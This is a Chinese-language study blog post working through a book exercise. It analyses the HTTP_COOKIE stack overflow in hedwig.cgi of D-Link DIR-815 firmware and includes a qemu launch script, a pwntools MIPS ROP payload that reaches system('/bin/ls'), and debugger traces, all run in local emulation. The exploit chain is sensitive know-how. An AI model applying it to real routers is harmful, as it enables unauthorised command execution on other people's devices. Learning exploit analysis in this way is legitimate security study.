《揭秘》的第一个漏洞分析。
静态分析 该漏洞的描述位于这里 ,可知漏洞出现在hedwig.cgi
文件中。首先了解一下cgi
文件。
cgi(Common Gateway Interface)
,通用网关接口。运行在服务器上提供同客户端 HTML 页面的接口的一段程序。
这类文件大概功能就是根据客户端提交的请求生成html页面(?)先获得固件 ,unzip
得到.bin
文件,binwalk -e
得到文件系统。在文件系统下find . -name hedwig.cgi
,得到的文件是指向./htdocs/cgibin
文件的一个符号链接。故对cgibin
文件进行分析。
根据漏洞描述可知漏洞出现的位置与cookie
的值有关,搜索cookie
字符串的引用。
1 2 3 4 5 6 7 8 9 .text:00407C98 .globl sess_get_uid .text:00407C98 sess_get_uid: # CODE XREF: phpcgi_main+214↑p .text:00407C98 # authentication+338↓p ... .text:00407C98 ... .text:00407D00 la $t9, getenv .text:00407D04 li $a0, aHttpCookie # "HTTP_COOKIE" .text:00407D08 jalr $t9 ; getenv .text:00407D0C move $s3, $v0
可知cookie
的值是函数sess_get_id
调用getenv("HTTP_COOKIE")
得到的。char *getenv(const char *name);
该函数返回一个指向该环境变量值的指针。再查找函数sess_get_id
的引用:
还挺多。书上说去找hedwigcgi_main
内的引用,可能是因为存在漏洞的文件名是hedwig.cgi
吧。于是跳过去查看,发现了危险函数sprintf
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 .text:00409640 la $t9, sess_get_uid .text:00409644 nop .text:00409648 jalr $t9 ; sess_get_uid .text:0040964C move $a0, $s5 .text:00409650 lw $gp, 0x4C0+var_4B0($sp) .text:00409654 nop .text:00409658 la $t9, sobj_get_string .text:0040965C nop .text:00409660 jalr $t9 ; sobj_get_string .text:00409664 move $a0, $s5 .text:00409668 lw $gp, 0x4C0+var_4B0($sp) .text:0040966C lui $a1, 0x42 # 'B' .text:00409670 la $t9, sprintf .text:00409674 move $a3, $v0 .text:00409678 move $a2, $s2 .text:0040967C li $a1, aSSPostxml # "%s/%s/postxml" .text:00409680 jalr $t9 ; sprintf
继续查看函数hedwigcgi_main
的引用,发现只有main
调用了,所以通过分析hedwigcgi_main
的逻辑设置环境变量。
函数hedwigcgi_main
首先获得REQUEST_METHOD
的值,不为POST
则打印失败信息。接着调用cgibin_parse_request
,获得CONTENT_TYPE
和CONTENT_LENGTH
的值(总之经过一堆判断这俩都不能为空)。用下面这段来判断这两个值需要满足的条件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 if ( type ) { relo_item = p2rel_42C014; // application/ v16 = 0; while ( 1 ) { name = relo_item->name; if ( !relo_item->name ) break; str_len = relo_item->size; ++relo_item; ++v16; if ( !strncasecmp(type, name, str_len) ) return ((int (__fastcall *)(int, int, unsigned int, char *))p2rel_42C014[v16 - 1].func)( a1, a2_0, content_length, &type[str_len]); } }
而p2rel_42C014
处的符号地址字段对type
后面的字符进行判断,需等于x-www-form-urlencoded
。然后调用sobj_new
创建两个大小为6的指针数组,偏移为5处存放cookie
。调用sess_get_uid
,得到HTTP_COOKIE
的值。同样创建两个指针数组a1,a2
,以等号为界将前半部分存入a1
偏移为5处,后半部分存入a2
偏移为5处,a1[5]
为uid
则将a2[5]
存入参数指针数组的偏移为5处。函数sobj_get_string
获得该数组中指向cookie
的指针。(REMOTE_ADDR
应该不用填)接着到了sprintf
函数,而在这之下有另一个sprintf
函数,据书上说明测试后远程是有/var/tmp
目录的,所以造成漏洞的是第二个sprintf
。
模拟运行 几个环境变量的值有以下要求:
1 2 3 4 5 6 REQUEST_METHOD: POST CONTENT_TYPE: application/x-www-form-urlencoded CONTENT_LENGTH: 不太懂,暂时设成payload长度 REQUEST_URI: 不为空 REMOTE_ADDR: * HTTP_COOKIE: uid=...
写个shell
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 # exp.sh # !/bin/bash # when you execute the file for the first time, # cp $(which qemu-mipsel-static) ./qemupython 815.py INPUT=$(cat payload) LEN=$(echo -n "$INPUT" | wc -c) PORT="1234" if [ -n "$1" ] ;then # $1 exists echo "$INPUT" | chroot . ./qemu \ -E REQUEST_METHOD="POST" \ -E HTTP_COOKIE=$INPUT \ -E CONTENT_TYPE="application/x-www-form-urlencoded" \ -E CONTENT_LENGTH=$LEN \ -E REQUEST_URI="a" \ -g $PORT \ /htdocs/web/hedwig.cgi else echo "$INPUT" | chroot . ./qemu \ -E REQUEST_METHOD="POST" \ -E HTTP_COOKIE=$INPUT \ -E CONTENT_TYPE="application/x-www-form-urlencoded" \ -E CONTENT_LENGTH=$LEN \ -E REQUEST_URI="a" \ /htdocs/web/hedwig.cgi fi
写个python
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 """815.py""" from pwn import *context(arch='mips' ) base=0x76738000 gadget1=0x158c8 gadget2=0x159CC pd='uid=12345' regs=flat( base+0x531ff , 'aaaa' ,'aaaa' ,'aaaa' ,'aaaa' ,base+gadget2, 'aaaa' ,'aaaa' ,'aaaa' ,base+gadget1, ) pd+=regs.rjust(1008 ,'a' )+0x10 *'b' +'/bin/ls' with open ('payload' ,'w' ) as f: f.write(pd)
在./.gdbinit
下写入
1 2 set architecture mips target remote localhost:1234
用sudo ./exp.sh -g
启动脚本。若在另一个命令行输入gdb-multiarch ./htdocs/web/hedwig.cgi
,则用pwndbg
进行调试。也可以用ida attach
上进程进行调试。函数最终执行到:
1 2 3 4 5 6 7 8 9 10 11 12 .text:00409A28 lw $ra, 0x4C0+var_s24($sp) .text:00409A2C move $v0, $s7 .text:00409A30 lw $fp, 0x4C0+var_s20($sp) .text:00409A34 lw $s7, 0x4C0+var_s1C($sp) .text:00409A38 lw $s6, 0x4C0+var_s18($sp) .text:00409A3C lw $s5, 0x4C0+var_s14($sp) .text:00409A40 lw $s4, 0x4C0+var_s10($sp) .text:00409A44 lw $s3, 0x4C0+var_sC($sp) .text:00409A48 lw $s2, 0x4C0+var_s8($sp) .text:00409A4C lw $s1, 0x4C0+var_s4($sp) .text:00409A50 lw $s0, 0x4C0+var_s0($sp) .text:00409A54 jr $ra
查看栈上内容发现已被传入的cookie
值覆盖。考虑通过控制这些寄存器的值来控制程序执行流。这个地方需要注意不能用程序原有的gadgets
,因为地址中有\0
被截断。需要利用libc
中的gadgets
。
先找到运行时的基地址。程序貌似什么保护都没开所以所有地址都是固定的。同样符合动态链接第一次执行时先对符号进行链接的规则。在第二次调用sprintf
处下断点,得到了sprintf
地址。
ldd
一下程序:
1 2 3 4 5 6 ling@ubuntu:~/iot/jm/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root$ ldd ./htdocs/cgibin checking sub-depends for 'not found' checking sub-depends for 'not found' libgcc_s.so.1 => not found (0x00000000) libc.so.0 => not found (0x00000000) /lib/ld-uClibc.so.0 => /lib/ld-uClibc.so.0 (0x00000000)
把libc.so.0
链接的文件拖入ida
分析,找到sprintf
的偏移。用上面得到的sprintf
地址减去偏移得到基地址。(用这个办法主要是因为我用不了vmmap
…)接着找到system
偏移为0x53200
,同样会被截断,考虑运算后再得到0x53200
。
构造ROP链 接下来找libc
里能用的gadgets
。在idapython
里输入
1 2 3 from mipsrop import MIPSROPFindermips=MIPSROPFinder()
先将$s0
覆盖为base+0x531ff
,再对$s0+1
。
查看偏移处内容:
1 2 3 .text:000158C8 move $t9, $s5 .text:000158CC jalr $t9 .text:000158D0 addiu $s0, 1
这里注意一下指令执行的顺序。在ida
的python
框里输入:
1 2 import mipsrophelp (mipsrop)
文档里有这么一句:
1 2 3 4 # move $t9, $s1 # jalr $t9 # li $a0, 1 <-- Remember MIPS has jump delay slots, so this instruction # is executed with the jump
查了一下说由于这个什么延迟机制,jalr
后的语句(不知道几条)在执行jalr
之前执行。找了个jalr
在后一句下了断点,确实是在该句执行完后才执行的jalr
。(大概和流水线、编译原理、CPU
有关,尚未深究……)
得到了一条gadget
。同样由于这个机制,在执行到结尾时,会先执行00409A58
处将栈恢复,此时就可以在离$sp
较近的位置找到输入。
1 2 3 4 5 6 7 8 .text:00409A28 lw $ra, 0x4C0+var_s24($sp) .text:00409A2C move $v0, $s7 .text:00409A30 lw $fp, 0x4C0+var_s20($sp) .text:00409A34 lw $s7, 0x4C0+var_s1C($sp) ... .text:00409A50 lw $s0, 0x4C0+var_s0($sp) .text:00409A54 jr $ra .text:00409A58 addiu $sp, 0x4E8
再找给system
传参的gadget
。需将/bin//sh
字符串地址传给$a0
。
执行mips.stackfinders()
,找到这样一条比较方便。
1 0x000159CC | addiu $s5,$sp,0x14C+var_13C | jalr $s0 |
1 2 3 4 5 6 .text:000159CC addiu $s5, $sp, 0x14C+var_13C .text:000159D0 move $a1, $s3 .text:000159D4 move $a2, $s1 .text:000159D8 move $t9, $s0 .text:000159DC jalr $t9 ; mempcpy .text:000159E0 move $a0, $s5
最后构造好运行的结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 pwndbg> n 0x7678b204 in system () from /home/ling/iot/jm/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so warning: GDB can't find the start of the function at 0x7674d9e3. LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── V0 0x0 V1 0x4b A0 0x76fff230 ◂— '/bin/ls' A1 0x61616161 ('aaaa') A2 0x61616161 ('aaaa') A3 0x20 T0 0x767ab4c8 (__malloc_state) ◂— 0x4b /* 'K' */ T1 0x16f1 T2 0x2 T3 0x24 T4 0x25 T5 0x807 T6 0x800 T7 0x400 T8 0x8 T9 0x7678b200 (system) ◂— lui $gp, 2 /* 0x3c1c0002 */ S0 0x7678b200 (system) ◂— lui $gp, 2 /* 0x3c1c0002 */ S1 0x61616161 ('aaaa') S2 0x61616161 ('aaaa') S3 0x61616161 ('aaaa') S4 0x61616161 ('aaaa') S5 0x76fff230 ◂— '/bin/ls' S6 0x61616161 ('aaaa') S7 0x61616161 ('aaaa') S8 0x61616161 ('aaaa') FP 0x76fff220 ◂— 'bbbbbbbbbbbbbbbb/bin/ls' SP 0x76fff220 ◂— 'bbbbbbbbbbbbbbbb/bin/ls' *PC 0x7678b204 (system+4) ◂— addiu $gp, $gp, 0x32e0 /* 0x279c32e0 */ ───────────────────[ DISASM ]─────────────────── 0x7678b200 <system> lui $gp, 2 ► 0x7678b204 <system+4> addiu $gp, $gp, 0x32e0 0x7678b208 <system+8> addu $gp, $gp, $t9 0x7678b20c <system+12> addiu $sp, $sp, -0x48 0x7678b210 <system+16> sw $ra, 0x44($sp) 0x7678b214 <system+20> sw $s5, 0x40($sp) 0x7678b218 <system+24> sw $s4, 0x3c($sp) 0x7678b21c <system+28> sw $s3, 0x38($sp) 0x7678b220 <system+32> sw $s2, 0x34($sp) 0x7678b224 <system+36> sw $s1, 0x30($sp) 0x7678b228 <system+40> sw $s0, 0x2c($sp) ──────────────────────[ STACK ]────────────────────────── 00:0000│ fp sp 0x76fff220 ◂— 'bbbbbbbbbbbbbbbb/bin/ls' ... ↓ 3 skipped 04:0010│ a0 s5 0x76fff230 ◂— '/bin/ls' 05:0014│ 0x76fff234 ◂— 0x736c2f /* '/ls' */ 06:0018│ 0x76fff238 ◂— 0 07:001c│ 0x76fff23c ◂— 0 ──────────────────────[ BACKTRACE ]──────────────────────── ► f 0 0x7678b204 system+4 ─────────────────────────────────────────────────────────── pwndbg>
但最后还是报了段错误,而且貌似继续执行gadget2
后面的指令了。。不太明白。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 pwndbg> c Continuing. warning: GDB can't find the start of the function at 0x7674d9e4. Program received signal SIGSEGV, Segmentation fault. 0x7674d9e4 in ?? () from /home/ling/iot/jm/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── *V0 0x7f00 *V1 0x61616161 ('aaaa') *A0 0x76fff148 ◂— sll $zero, $v0, 0 /* 0x20000 */ *A1 0x76fff0f0 ◂— 0 *A2 0x0 *A3 0x0 T0 0x767ab4c8 (__malloc_state) ◂— 0x4b /* 'K' */ T1 0x16f1 T2 0x2 T3 0x24 T4 0x25 T5 0x807 T6 0x800 T7 0x400 T8 0x8 *T9 0x7676c8c0 (memcpy) ◂— b 0x7676c8d8 /* 0x10000005 */ S0 0x7678b200 (system) ◂— lui $gp, 2 /* 0x3c1c0002 */ S1 0x61616161 ('aaaa') S2 0x61616161 ('aaaa') S3 0x61616161 ('aaaa') S4 0x61616161 ('aaaa') S5 0x76fff230 ◂— '/bin/ls' S6 0x61616161 ('aaaa') S7 0x61616161 ('aaaa') S8 0x61616161 ('aaaa') *FP 0x0 SP 0x76fff220 ◂— 'bbbbbbbbbbbbbbbb/bin/ls' *PC 0x7674d9e4 ◂— 0x8fdc0010 ────────────────────────────[ DISASM ]────────────────────── 0x7674d9d0 move $a1, $s3 0x7674d9d4 move $a2, $s1 0x7674d9d8 move $t9, $s0 0x7674d9dc jalr $t9 0x7674d9e0 move $a0, $s5 ► 0x7674d9e4 lw $gp, 0x10($fp) 0x7674d9e8 move $a0, $v0 0x7674d9ec lw $a1, -0x7fac($gp) 0x7674d9f0 addiu $a2, $zero, 1 0x7674d9f4 move $t9, $s0 0x7674d9f8 jalr $t9 ────────────────[ STACK ]──────────────────────────────── 00:0000│ sp 0x76fff220 ◂— 'bbbbbbbbbbbbbbbb/bin/ls' ... ↓ 3 skipped 04:0010│ s5 0x76fff230 ◂— '/bin/ls' 05:0014│ 0x76fff234 ◂— 0x736c2f /* '/ls' */ 06:0018│ 0x76fff238 ◂— 0 07:001c│ 0x76fff23c ◂— 0 ──────────────────[ BACKTRACE ]───────────────────── ► f 0 0x7674d9e4 ───────────────────────────────────────────────────────── pwndbg>
跟着书上到这里结束。下面的我也不知道对不对反正是猜着做的.jpg
尝试把文件系统搬到qemu
虚拟机里做一下(虽然应该没什么卵用)。先解决虚拟机和主机通信的问题。
1 sudo qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta_mipsel -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic, -net tap -nographic
在用上面的命令启动时会添加一块网卡,我的名称是tap1
。主机里进行配置sudo ifconfig tap1 10.10.10.1/24
,打开虚拟机后ifconfig eth0 10.10.10.2/24
。两台就能互相ping
通了。scp
将文件系统拷贝到虚拟机中,此时还需要挂载/proc /sys /dev
几个目录。
1 2 3 4 5 mount --bind /proc squashfs-root/proc/ mount --bind /sys squashfs-root/sys mount --bind /dev squashfs-root/dev # 不知道直接挂虚拟机的行不行…反正设备文件有缺失 chroot squashfs-root /bin/sh
执行/etc/init.d/rcS
还是/etc/init0.d/rcS
启动,反正都报错了。好了我不行了再见.jpg。
ps:我也不知道该学点啥,但是大佬们都有自己研究方向那我找个学术界研究的多点的学吧emm。各个方向能做到的都挺牛逼的就是没感觉自己对哪个有倾向性…